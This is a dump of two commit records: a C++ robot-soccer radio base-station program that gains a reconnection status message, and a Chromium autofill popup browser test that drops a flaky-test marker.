Blue;\n\t\t}\n\t\telse if (strcmp(var, \"--debug_tx\") == 0)\n\t\t{\n\t\t\tdebug_tx = true;\n\t\t}\n\t\telse if (strcmp(var, \"--debug_rx\") == 0)\n\t\t{\n\t\t\tdebug_rx = true;\n\t\t}\n\t\telse if (strcmp(var, \"-n\") == 0)\n\t\t{\n\t\t\tif (i == (argc - 1))\n\t\t\t{\n\t\t\t\tfprintf(stderr, \"-n must be followed by the base station number\\n\");\n\t\t\t\tusage(argv[0]);\n\t\t\t}\n\t\t}\n\t\telse if (strcmp(var, \"-o\") == 0)\n\t\t{\n\t\t\tuseOpp = true;\n\t\t}\n\t}\n\n\tif (n)\n\t{\n\t\tfprintf(stderr, \"WARNING: Specifying -n will likely result in the wrong base station being used if it is unplugged and reconnected.\\n\");\n\t}\n\t\n\tRadio *radio = 0;\n\t\n\tif (team == UnknownTeam)\n\t{\n\t\tfprintf(stderr, \"Error: No team specified\\n\");\n\t\tusage(argv[0]);\n\t}\n\t\n\tNetwork::Sender sender(Network::Address, Network::addTeamOffset(team, Network::RadioRx));\n\t\n\t\/\/sender for opponent robots\n\tNetwork::Sender oppSender(Network::Address, Network::addTeamOffset(team, Network::RadioRx));\n\n\tuint8_t reverse_packet[Reverse_Size + 2];\n\t\n\tNetwork::PacketReceiver receiverSelf;\n\tNetwork::PacketReceiver receiverOpp;\n\t\n\treceiverSelf.addType(Network::Address, Network::addTeamOffset(team, Network::RadioTx), packetHandler);\n\t\n\tif (useOpp)\n\t{\n\t\treceiverOpp.addType(Network::Address, Network::addTeamOffset(opponentTeam(team), Network::RadioTx), oppPacketHandler);\n\t}\n\n\tuint8_t forward_packet[Forward_Size];\n\tint sequence = 0;\n\t\n\tuint64_t lastTime = Utils::timestamp();\n\t\n\twhile (true)\n\t{\n\t\tbool printed = false;\n\t\t\n\t\t\/\/clear the incoming packet for the first team only\n\t\ttxPacket = Packet::RadioTx();\n\t\t\n\t\t\/\/block for self\n\t\treceiverSelf.receive(true);\n\t\t\n\t\t\/\/don't block on receiving the opponent\n\t\treceiverOpp.receive(false);\n\t\t\n\t\t\/\/ Make sure we have a radio\n\t\tbool first = true;\n\t\tif (!radio)\n\t\t{\n\t\t\twhile (!radio)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tradio = new Radio(n);\n\t\t\t\t} catch (exception &ex)\n\t\t\t\t{\n\t\t\t\t\tif (first)\n\t\t\t\t\t{\n\t\t\t\t\t\tfprintf(stderr, \"%s\\n\", ex.what());\n\t\t\t\t\t\tfprintf(stderr, \"Waiting for the base station to be connected...\\n\");\n\t\t\t\t\t\tfirst = false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tsleep(1);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ Drop this forward packet because it's probably really old\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/FIXME - Switch between teams for reverse channel\n\t\tint reverse_board_id = txPacket.reverse_board_id;\n\t\t\n\t\t\/\/ Build a forward packet\n\t\tforward_packet[0] = (sequence << 4) | reverse_board_id;\n\t\tforward_packet[1] = 0x0f;\n\t\tforward_packet[2] = 0x00;\n\t\t\n\t\tint offset = 3;\n\t\tint kick_id = -1;\n\t\tint self_bots = 0;\n\t\tuint8_t kick_strength = 0;\n\t\tfor (int robot_id = 0; robot_id < 5; ++robot_id)\n\t\t{\n\t\t\tconst Packet::RadioTx::Robot &robot = txPacket.robots[robot_id];\n\t\t\tint board_id = robot.board_id;\n\t\t\t\n\t\t\tint8_t m0, m1, m2, m3;\n\t\t\tuint8_t kick, roller;\n\t\t\t\n\t\t\tif (robot.valid)\n\t\t\t{\n\t\t\t\tself_bots++;\n\t\t\t\t\n\t\t\t\tm1 = -robot.motors[0];\n\t\t\t\tm2 = -robot.motors[1];\n\t\t\t\tm3 = -robot.motors[2];\n\t\t\t\tm0 = -robot.motors[3];\n\t\t\t\tkick = robot.kick;\n\t\t\t\t\n\t\t\t\tif (robot.roller > 0)\n\t\t\t\t{\n\t\t\t\t\troller = robot.roller * 2;\n\t\t\t\t} else {\n\t\t\t\t\troller = 0;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tboard_id = 15;\n\t\t\t\tm0 = m1 = m2 = m3 = 0;\n\t\t\t\tkick = 0;\n\t\t\t\troller = 0;\n\t\t\t}\n\t\t\t\n\t\t\tif (kick)\n\t\t\t{\n\t\t\t\tkick_id = board_id;\n\t\t\t\tkick_strength = kick;\n\t\t\t}\n\t\t\t\n\t\t\tforward_packet[offset++] = m0;\n\t\t\tforward_packet[offset++] = m1;\n\t\t\tforward_packet[offset++] = m2;\n\t\t\tforward_packet[offset++] = m3;\n\t\t\tforward_packet[offset++] = (roller & 0xf0) | (board_id & 0x0f);\n\t\t}\n\t\t\n\t\tif (useOpp)\n\t\t{\t\n\t\t\toffset = 3 + self_bots * 5;\n\t\t\tfor (int robot_id = 0; robot_id < 5 - self_bots; ++robot_id)\n\t\t\t{\n\t\t\t\tconst Packet::RadioTx::Robot &robot = oppTxPacket.robots[robot_id];\n\t\t\t\tint board_id = robot.board_id;\n\t\t\t\t\n\t\t\t\tint8_t m0, m1, m2, m3;\n\t\t\t\tuint8_t kick, roller;\n\t\t\t\t\n\t\t\t\tif (robot.valid)\n\t\t\t\t{\n\t\t\t\t\tm1 = -robot.motors[0];\n\t\t\t\t\tm2 = -robot.motors[1];\n\t\t\t\t\tm3 = -robot.motors[2];\n\t\t\t\t\tm0 = -robot.motors[3];\n\t\t\t\t\tkick = robot.kick;\n\t\t\t\t\t\n\t\t\t\t\tif (robot.roller > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\troller = robot.roller * 2;\n\t\t\t\t\t} else {\n\t\t\t\t\t\troller = 0;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tboard_id = 15;\n\t\t\t\t\tm0 = m1 = m2 = m3 = 0;\n\t\t\t\t\tkick = 0;\n\t\t\t\t\troller = 0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (kick)\n\t\t\t\t{\n\t\t\t\t\tkick_id = board_id;\n\t\t\t\t\tkick_strength = kick;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tforward_packet[offset++] = m0;\n\t\t\t\tforward_packet[offset++] = m1;\n\t\t\t\tforward_packet[offset++] = m2;\n\t\t\t\tforward_packet[offset++] = m3;\n\t\t\t\tforward_packet[offset++] = (roller & 0xf0) | (board_id & 0x0f);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ ID of kicking robot and kick strength\n\t\tif (kick_id >= 0)\n\t\t{\n\t\t\tforward_packet[1] = kick_id;\n\t\t\tforward_packet[2] = kick_strength;\n\t\t}\n\t\t\n\t\tif (debug_tx)\n\t\t{\n\t\t\tuint64_t t1 = Utils::timestamp();\n\t\t\tuint64_t dt = t1 - lastTime;\n\t\t\tlastTime = t1;\n\t\t\tprintf(\"%3ld.%03ldms \", dt \/ 1000, dt % 1000);\n\t\t\t\n\t\t\tfor (unsigned int i = 0; i < Forward_Size; ++i)\n\t\t\t{\n\t\t\t\tprintf(\"%02x \", forward_packet[i]);\n\t\t\t}\n\t\t\tprinted = true;\n\t\t}\n\t\t\n\t\tbool read_ok = false;\n\t\tuint64_t rx_time = 0;\n\t\ttry\n\t\t{\n\t\t\t\/\/ Send the forward packet\n\t\t\tradio->write_packet(forward_packet, Forward_Size);\n\t\t\t\n\t\t\t\/\/ Read a forward packet if one is available\n\t\t\tread_ok = radio->read_packet(reverse_packet, sizeof(reverse_packet), 1);\n\t\t\trx_time = Utils::timestamp();\n\t\t} catch (exception &ex)\n\t\t{\n\t\t\tfprintf(stderr, \"%s\\n\", ex.what());\n\t\t\tdelete radio;\n\t\t\tradio = 0;\n\t\t}\n\t\t\n\t\tsequence = (sequence + 1) & 15;\n\t\t\n\t\t\/\/ Check for a reverse packet\n\t\tif (read_ok)\n\t\t{\n\t\t\tif (debug_rx)\n\t\t\t{\n\t\t\t\tif (debug_tx)\n\t\t\t\t{\n\t\t\t\t\tprintf(\" \");\n\t\t\t\t}\n\t\t\t\tprintf(\"rev\");\n\t\t\t\tfor (unsigned int i = 0; i < Reverse_Size; ++i)\n\t\t\t\t{\n\t\t\t\t\tprintf(\" %02x\", reverse_packet[i]);\n\t\t\t\t}\n\t\t\t\tprinted = true;\n\t\t\t}\n\t\t\t\n\t\t\tPacket::RadioRx rxPacket;\n\t\t\tint board_id = reverse_packet[0] & 0x0f;\n\t\t\t\n\t\t\trxPacket.timestamp = rx_time;\n\t\t\trxPacket.board_id = board_id;\n\t\t\trxPacket.rssi = (int8_t)reverse_packet[1] \/ 2.0;\n\t\t\trxPacket.battery = reverse_packet[3] * 3.3 \/ 256.0 * 5.0;\n\t\t\trxPacket.ball = reverse_packet[5] & (1 << 5);\n\t\t\trxPacket.charged = reverse_packet[4] & 1;\n\t\t\t\n\t\t\tfor (int i = 0; i < 5; ++i)\n\t\t\t{\n\t\t\t\trxPacket.motorFault[i] = reverse_packet[5] & (1 << i);\n\t\t\t}\n\t\t\t\n\t\t\tfor (int i = 0; i < 4; ++i)\n\t\t\t{\n\t\t\t\trxPacket.encoders[i] = reverse_packet[6 + i];\n\t\t\t\trxPacket.encoders[i] |= ((reverse_packet[10] >> (i * 2)) & 3) << 8;\n\t\t\t}\n\t\t\t\n\t\t\tsender.send(rxPacket);\n\t\t}\n\t\t\n\t\tif (printed)\n\t\t{\n\t\t\tprintf(\"\\n\");\n\t\t}\n\t}\n\n\treturn 0;\n}\n<commit_msg>Improved status output for base station reconnection<commit_after>\/\/ kate: indent-mode cstyle; indent-width 4; tab-width 4; space-indent false;\n\/\/ vim:ai ts=4 et\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <pthread.h>\n#include <assert.h>\n\n#include <map>\n\n#include <Network\/Network.hpp>\n#include <Network\/PacketReceiver.hpp>\n#include <Network\/Sender.hpp>\n#include <RadioTx.hpp>\n#include <RadioRx.hpp>\n#include <Utils.hpp>\n\n#include \"Radio.hpp\"\n\nusing namespace std;\n\nTeam team = UnknownTeam;\n\nbool useOpp;\n\nPacket::RadioTx txPacket;\nPacket::RadioTx oppTxPacket;\n\nvoid usage(const char* prog)\n{\n\tfprintf(stderr, \"usage: %s [-n i] [-2010] <-y|-b>\\n\", prog);\n\tfprintf(stderr, \"\\t-y: run as the yellow team\\n\");\n\tfprintf(stderr, \"\\t-b: run as the blue team\\n\");\n\tfprintf(stderr, \"\\t-n: use base station i (0 is the first base station detected by libusb)\\n\");\n\tfprintf(stderr, \"\\t-o: run an opponent team as well (note: radio only handles up to 5 robots)\\n\");\n\tfprintf(stderr, \"\\t--debug_tx: print transmitted packets\\n\");\n\tfprintf(stderr, \"\\t--debug_rx: print received packets\\n\");\n\texit(1);\n}\n\nvoid packetHandler(const Packet::RadioTx* packet)\n{\n\ttxPacket = *packet;\n}\n\nvoid oppPacketHandler(const Packet::RadioTx* packet)\n{\n\toppTxPacket = *packet;\n}\n\nint main(int argc, char* argv[])\n{\n\tbool debug_tx = false;\n\tbool debug_rx = false;\n\t\n\tint n = 0;\n\tfor (int i = 0; i < argc; ++i)\n\t{\n\t\tconst char* var = argv[i];\n\n\t\tif (strcmp(var, \"-y\") == 0)\n\t\t{\n\t\t\tteam = Yellow;\n\t\t}\n\t\telse if (strcmp(var, \"-b\") == 0)\n\t\t{\n\t\t\tteam = Blue;\n\t\t}\n\t\telse if (strcmp(var, \"--debug_tx\") == 0)\n\t\t{\n\t\t\tdebug_tx = true;\n\t\t}\n\t\telse if (strcmp(var, \"--debug_rx\") == 0)\n\t\t{\n\t\t\tdebug_rx = true;\n\t\t}\n\t\telse if (strcmp(var, \"-n\") == 0)\n\t\t{\n\t\t\tif (i == (argc - 1))\n\t\t\t{\n\t\t\t\tfprintf(stderr, \"-n must be followed by the base station number\\n\");\n\t\t\t\tusage(argv[0]);\n\t\t\t}\n\t\t}\n\t\telse if (strcmp(var, \"-o\") == 0)\n\t\t{\n\t\t\tuseOpp = true;\n\t\t}\n\t}\n\n\tif (n)\n\t{\n\t\tfprintf(stderr, \"WARNING: Specifying -n will likely result in the wrong base station being used if it is unplugged and reconnected.\\n\");\n\t}\n\t\n\tRadio *radio = 0;\n\t\n\tif (team == UnknownTeam)\n\t{\n\t\tfprintf(stderr, \"Error: No team specified\\n\");\n\t\tusage(argv[0]);\n\t}\n\t\n\tNetwork::Sender sender(Network::Address, Network::addTeamOffset(team, Network::RadioRx));\n\t\n\t\/\/sender for opponent robots\n\tNetwork::Sender oppSender(Network::Address, Network::addTeamOffset(team, Network::RadioRx));\n\n\tuint8_t reverse_packet[Reverse_Size + 2];\n\t\n\tNetwork::PacketReceiver receiverSelf;\n\tNetwork::PacketReceiver receiverOpp;\n\t\n\treceiverSelf.addType(Network::Address, Network::addTeamOffset(team, Network::RadioTx), packetHandler);\n\t\n\tif (useOpp)\n\t{\n\t\treceiverOpp.addType(Network::Address, Network::addTeamOffset(opponentTeam(team), Network::RadioTx), oppPacketHandler);\n\t}\n\n\tuint8_t forward_packet[Forward_Size];\n\tint sequence = 0;\n\t\n\tuint64_t lastTime = Utils::timestamp();\n\t\n\twhile (true)\n\t{\n\t\tbool printed = false;\n\t\t\n\t\t\/\/clear the incoming packet for the first team only\n\t\ttxPacket = Packet::RadioTx();\n\t\t\n\t\t\/\/block for self\n\t\treceiverSelf.receive(true);\n\t\t\n\t\t\/\/don't block on receiving the opponent\n\t\treceiverOpp.receive(false);\n\t\t\n\t\t\/\/ Make sure we have a radio\n\t\tbool first = true;\n\t\tif (!radio)\n\t\t{\n\t\t\twhile (!radio)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tradio = new Radio(n);\n\t\t\t\t} catch (exception &ex)\n\t\t\t\t{\n\t\t\t\t\tif (first)\n\t\t\t\t\t{\n\t\t\t\t\t\tfprintf(stderr, \"%s\\n\", ex.what());\n\t\t\t\t\t\tfprintf(stderr, \"Waiting for the base station to be connected...\\n\");\n\t\t\t\t\t\tfirst = false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tsleep(1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tfprintf(stderr, \"\\nRadio connected\\n\");\n\t\t\t\n\t\t\t\/\/ Drop this forward packet because it's probably really old\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/FIXME - Switch between teams for reverse channel\n\t\tint reverse_board_id = txPacket.reverse_board_id;\n\t\t\n\t\t\/\/ Build a forward packet\n\t\tforward_packet[0] = (sequence << 4) | reverse_board_id;\n\t\tforward_packet[1] = 0x0f;\n\t\tforward_packet[2] = 0x00;\n\t\t\n\t\tint offset = 3;\n\t\tint kick_id = -1;\n\t\tint self_bots = 0;\n\t\tuint8_t kick_strength = 0;\n\t\tfor (int robot_id = 0; robot_id < 5; ++robot_id)\n\t\t{\n\t\t\tconst Packet::RadioTx::Robot &robot = txPacket.robots[robot_id];\n\t\t\tint board_id = robot.board_id;\n\t\t\t\n\t\t\tint8_t m0, m1, m2, m3;\n\t\t\tuint8_t kick, roller;\n\t\t\t\n\t\t\tif (robot.valid)\n\t\t\t{\n\t\t\t\tself_bots++;\n\t\t\t\t\n\t\t\t\tm1 = -robot.motors[0];\n\t\t\t\tm2 = -robot.motors[1];\n\t\t\t\tm3 = -robot.motors[2];\n\t\t\t\tm0 = -robot.motors[3];\n\t\t\t\tkick = robot.kick;\n\t\t\t\t\n\t\t\t\tif (robot.roller > 0)\n\t\t\t\t{\n\t\t\t\t\troller = robot.roller * 2;\n\t\t\t\t} else {\n\t\t\t\t\troller = 0;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tboard_id = 15;\n\t\t\t\tm0 = m1 = m2 = m3 = 0;\n\t\t\t\tkick = 0;\n\t\t\t\troller = 0;\n\t\t\t}\n\t\t\t\n\t\t\tif (kick)\n\t\t\t{\n\t\t\t\tkick_id = board_id;\n\t\t\t\tkick_strength = kick;\n\t\t\t}\n\t\t\t\n\t\t\tforward_packet[offset++] = m0;\n\t\t\tforward_packet[offset++] = m1;\n\t\t\tforward_packet[offset++] = m2;\n\t\t\tforward_packet[offset++] = m3;\n\t\t\tforward_packet[offset++] = (roller & 0xf0) | (board_id & 0x0f);\n\t\t}\n\t\t\n\t\tif (useOpp)\n\t\t{\t\n\t\t\toffset = 3 + self_bots * 5;\n\t\t\tfor (int robot_id = 0; robot_id < 5 - self_bots; ++robot_id)\n\t\t\t{\n\t\t\t\tconst Packet::RadioTx::Robot &robot = oppTxPacket.robots[robot_id];\n\t\t\t\tint board_id = robot.board_id;\n\t\t\t\t\n\t\t\t\tint8_t m0, m1, m2, m3;\n\t\t\t\tuint8_t kick, roller;\n\t\t\t\t\n\t\t\t\tif (robot.valid)\n\t\t\t\t{\n\t\t\t\t\tm1 = -robot.motors[0];\n\t\t\t\t\tm2 = -robot.motors[1];\n\t\t\t\t\tm3 = -robot.motors[2];\n\t\t\t\t\tm0 = -robot.motors[3];\n\t\t\t\t\tkick = robot.kick;\n\t\t\t\t\t\n\t\t\t\t\tif (robot.roller > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\troller = robot.roller * 2;\n\t\t\t\t\t} else {\n\t\t\t\t\t\troller = 0;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tboard_id = 15;\n\t\t\t\t\tm0 = m1 = m2 = m3 = 0;\n\t\t\t\t\tkick = 0;\n\t\t\t\t\troller = 0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (kick)\n\t\t\t\t{\n\t\t\t\t\tkick_id = board_id;\n\t\t\t\t\tkick_strength = kick;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tforward_packet[offset++] = m0;\n\t\t\t\tforward_packet[offset++] = m1;\n\t\t\t\tforward_packet[offset++] = m2;\n\t\t\t\tforward_packet[offset++] = m3;\n\t\t\t\tforward_packet[offset++] = (roller & 0xf0) | (board_id & 0x0f);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ ID of kicking robot and kick strength\n\t\tif (kick_id >= 0)\n\t\t{\n\t\t\tforward_packet[1] = kick_id;\n\t\t\tforward_packet[2] = kick_strength;\n\t\t}\n\t\t\n\t\tif (debug_tx)\n\t\t{\n\t\t\tuint64_t t1 = Utils::timestamp();\n\t\t\tuint64_t dt = t1 - lastTime;\n\t\t\tlastTime = t1;\n\t\t\tprintf(\"%3ld.%03ldms \", dt \/ 1000, dt % 1000);\n\t\t\t\n\t\t\tfor (unsigned int i = 0; i < Forward_Size; ++i)\n\t\t\t{\n\t\t\t\tprintf(\"%02x \", forward_packet[i]);\n\t\t\t}\n\t\t\tprinted = true;\n\t\t}\n\t\t\n\t\tbool read_ok = false;\n\t\tuint64_t rx_time = 0;\n\t\ttry\n\t\t{\n\t\t\t\/\/ Send the forward packet\n\t\t\tradio->write_packet(forward_packet, Forward_Size);\n\t\t\t\n\t\t\t\/\/ Read a forward packet if one is available\n\t\t\tread_ok = radio->read_packet(reverse_packet, sizeof(reverse_packet), 1);\n\t\t\trx_time = Utils::timestamp();\n\t\t} catch (exception &ex)\n\t\t{\n\t\t\tfprintf(stderr, \"%s\\n\", ex.what());\n\t\t\tdelete radio;\n\t\t\tradio = 0;\n\t\t}\n\t\t\n\t\tsequence = (sequence + 1) & 15;\n\t\t\n\t\t\/\/ Check for a reverse packet\n\t\tif (read_ok)\n\t\t{\n\t\t\tif (debug_rx)\n\t\t\t{\n\t\t\t\tif (debug_tx)\n\t\t\t\t{\n\t\t\t\t\tprintf(\" \");\n\t\t\t\t}\n\t\t\t\tprintf(\"rev\");\n\t\t\t\tfor (unsigned int i = 0; i < Reverse_Size; ++i)\n\t\t\t\t{\n\t\t\t\t\tprintf(\" %02x\", reverse_packet[i]);\n\t\t\t\t}\n\t\t\t\tprinted = true;\n\t\t\t}\n\t\t\t\n\t\t\tPacket::RadioRx rxPacket;\n\t\t\tint board_id = reverse_packet[0] & 0x0f;\n\t\t\t\n\t\t\trxPacket.timestamp = rx_time;\n\t\t\trxPacket.board_id = board_id;\n\t\t\trxPacket.rssi = (int8_t)reverse_packet[1] \/ 2.0;\n\t\t\trxPacket.battery = reverse_packet[3] * 3.3 \/ 256.0 * 5.0;\n\t\t\trxPacket.ball = reverse_packet[5] & (1 << 5);\n\t\t\trxPacket.charged = reverse_packet[4] & 1;\n\t\t\t\n\t\t\tfor (int i = 0; i < 5; ++i)\n\t\t\t{\n\t\t\t\trxPacket.motorFault[i] = reverse_packet[5] & (1 << i);\n\t\t\t}\n\t\t\t\n\t\t\tfor (int i = 0; i < 4; ++i)\n\t\t\t{\n\t\t\t\trxPacket.encoders[i] = reverse_packet[6 + i];\n\t\t\t\trxPacket.encoders[i] |= ((reverse_packet[10] >> (i * 2)) & 3) << 8;\n\t\t\t}\n\t\t\t\n\t\t\tsender.send(rxPacket);\n\t\t}\n\t\t\n\t\tif (printed)\n\t\t{\n\t\t\tprintf(\"\\n\");\n\t\t}\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autofill\/autofill_popup_view.h\"\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/autofill\/test_autofill_external_delegate.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/browser\/navigation_controller.h\"\n#include \"content\/public\/browser\/notification_service.h\"\n#include \"content\/public\/browser\/notification_types.h\"\n#include \"content\/public\/browser\/page_navigator.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/url_constants.h\"\n#include \"content\/test\/browser_test.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing ::testing::AtLeast;\nusing testing::_;\n\nnamespace {\n\nclass MockAutofillExternalDelegate : public TestAutofillExternalDelegate {\n public:\n MockAutofillExternalDelegate() : TestAutofillExternalDelegate(NULL, NULL) {}\n ~MockAutofillExternalDelegate() {}\n\n virtual void SelectAutofillSuggestionAtIndex(int unique_id, int list_index)\n OVERRIDE {}\n};\n\nclass TestAutofillPopupView : public AutofillPopupView {\n public:\n explicit TestAutofillPopupView(\n content::WebContents* web_contents,\n AutofillExternalDelegate* autofill_external_delegate)\n : AutofillPopupView(web_contents, autofill_external_delegate) {}\n virtual ~TestAutofillPopupView() {}\n\n MOCK_METHOD0(Hide, void());\n\n MOCK_METHOD1(InvalidateRow, void(size_t));\n\n void SetSelectedLine(size_t selected_line) {\n AutofillPopupView::SetSelectedLine(selected_line);\n }\n\n protected:\n virtual void ShowInternal() OVERRIDE {}\n\n virtual void HideInternal() OVERRIDE {}\n};\n\n} \/\/ namespace\n\nclass AutofillPopupViewBrowserTest : public InProcessBrowserTest {\n public:\n AutofillPopupViewBrowserTest() {}\n virtual ~AutofillPopupViewBrowserTest() {}\n\n virtual void SetUpOnMainThread() OVERRIDE {\n web_contents_ = browser()->GetSelectedWebContents();\n ASSERT_TRUE(web_contents_ != NULL);\n\n autofill_popup_view_.reset(new TestAutofillPopupView(\n web_contents_,\n &autofill_external_delegate_));\n }\n\n protected:\n content::WebContents* web_contents_;\n scoped_ptr<TestAutofillPopupView> autofill_popup_view_;\n MockAutofillExternalDelegate autofill_external_delegate_;\n};\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n SwitchTabAndHideAutofillPopup) {\n EXPECT_CALL(*autofill_popup_view_, Hide()).Times(AtLeast(1));\n\n ui_test_utils::WindowedNotificationObserver observer(\n content::NOTIFICATION_WEB_CONTENTS_HIDDEN,\n content::Source<content::WebContents>(web_contents_));\n browser()->AddSelectedTabWithURL(GURL(chrome::kAboutBlankURL),\n content::PAGE_TRANSITION_START_PAGE);\n observer.Wait();\n\n \/\/ The mock verifies that the call was made.\n}\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n FLAKY_TestPageNavigationHidingAutofillPopup) {\n EXPECT_CALL(*autofill_popup_view_, Hide()).Times(AtLeast(1));\n\n ui_test_utils::WindowedNotificationObserver observer(\n content::NOTIFICATION_NAV_ENTRY_COMMITTED,\n content::Source<content::NavigationController>(\n &(web_contents_->GetController())));\n browser()->OpenURL(content::OpenURLParams(\n GURL(chrome::kAboutBlankURL), content::Referrer(),\n CURRENT_TAB, content::PAGE_TRANSITION_TYPED, false));\n browser()->OpenURL(content::OpenURLParams(\n GURL(chrome::kChromeUIAboutURL), content::Referrer(),\n CURRENT_TAB, content::PAGE_TRANSITION_TYPED, false));\n observer.Wait();\n\n \/\/ The mock verifies that the call was made.\n}\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n SetSelectedAutofillLineAndCallInvalidate) {\n std::vector<string16> autofill_values;\n autofill_values.push_back(string16());\n std::vector<int> autofill_ids;\n autofill_ids.push_back(0);\n autofill_popup_view_->Show(\n autofill_values, autofill_values, autofill_values, autofill_ids, 0);\n\n \/\/ Make sure that when a new line is selected, it is invalidated so it can\n \/\/ be updated to show it is selected.\n int selected_line = 0;\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line));\n autofill_popup_view_->SetSelectedLine(selected_line);\n\n \/\/ Ensure that the row isn't invalidated if it didn't change.\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line)).Times(0);\n autofill_popup_view_->SetSelectedLine(selected_line);\n\n \/\/ Change back to no selection.\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line));\n autofill_popup_view_->SetSelectedLine(-1);\n}\n<commit_msg>No Longer Mark AutofillPopupViewBrowserTest.TestPageNavigationHidingAutofillPopup as Flaky<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autofill\/autofill_popup_view.h\"\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/autofill\/test_autofill_external_delegate.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/browser\/navigation_controller.h\"\n#include \"content\/public\/browser\/notification_service.h\"\n#include \"content\/public\/browser\/notification_types.h\"\n#include \"content\/public\/browser\/page_navigator.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/url_constants.h\"\n#include \"content\/test\/browser_test.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing ::testing::AtLeast;\nusing testing::_;\n\nnamespace {\n\nclass MockAutofillExternalDelegate : public TestAutofillExternalDelegate {\n public:\n MockAutofillExternalDelegate() : TestAutofillExternalDelegate(NULL, NULL) {}\n ~MockAutofillExternalDelegate() {}\n\n virtual void SelectAutofillSuggestionAtIndex(int unique_id, int list_index)\n OVERRIDE {}\n};\n\nclass TestAutofillPopupView : public AutofillPopupView {\n public:\n explicit TestAutofillPopupView(\n content::WebContents* web_contents,\n AutofillExternalDelegate* autofill_external_delegate)\n : AutofillPopupView(web_contents, autofill_external_delegate) {}\n virtual ~TestAutofillPopupView() {}\n\n MOCK_METHOD0(Hide, void());\n\n MOCK_METHOD1(InvalidateRow, void(size_t));\n\n void SetSelectedLine(size_t selected_line) {\n AutofillPopupView::SetSelectedLine(selected_line);\n }\n\n protected:\n virtual void ShowInternal() OVERRIDE {}\n\n virtual void HideInternal() OVERRIDE {}\n};\n\n} \/\/ namespace\n\nclass AutofillPopupViewBrowserTest : public InProcessBrowserTest {\n public:\n AutofillPopupViewBrowserTest() {}\n virtual ~AutofillPopupViewBrowserTest() {}\n\n virtual void SetUpOnMainThread() OVERRIDE {\n web_contents_ = browser()->GetSelectedWebContents();\n ASSERT_TRUE(web_contents_ != NULL);\n\n autofill_popup_view_.reset(new TestAutofillPopupView(\n web_contents_,\n &autofill_external_delegate_));\n }\n\n protected:\n content::WebContents* web_contents_;\n scoped_ptr<TestAutofillPopupView> autofill_popup_view_;\n MockAutofillExternalDelegate autofill_external_delegate_;\n};\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n SwitchTabAndHideAutofillPopup) {\n EXPECT_CALL(*autofill_popup_view_, Hide()).Times(AtLeast(1));\n\n ui_test_utils::WindowedNotificationObserver observer(\n content::NOTIFICATION_WEB_CONTENTS_HIDDEN,\n content::Source<content::WebContents>(web_contents_));\n browser()->AddSelectedTabWithURL(GURL(chrome::kAboutBlankURL),\n content::PAGE_TRANSITION_START_PAGE);\n observer.Wait();\n\n \/\/ The mock verifies that the call was made.\n}\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n TestPageNavigationHidingAutofillPopup) {\n EXPECT_CALL(*autofill_popup_view_, Hide()).Times(AtLeast(1));\n\n ui_test_utils::WindowedNotificationObserver observer(\n content::NOTIFICATION_NAV_ENTRY_COMMITTED,\n content::Source<content::NavigationController>(\n &(web_contents_->GetController())));\n browser()->OpenURL(content::OpenURLParams(\n GURL(chrome::kAboutBlankURL), content::Referrer(),\n CURRENT_TAB, content::PAGE_TRANSITION_TYPED, false));\n browser()->OpenURL(content::OpenURLParams(\n GURL(chrome::kChromeUIAboutURL), content::Referrer(),\n CURRENT_TAB, content::PAGE_TRANSITION_TYPED, false));\n observer.Wait();\n\n 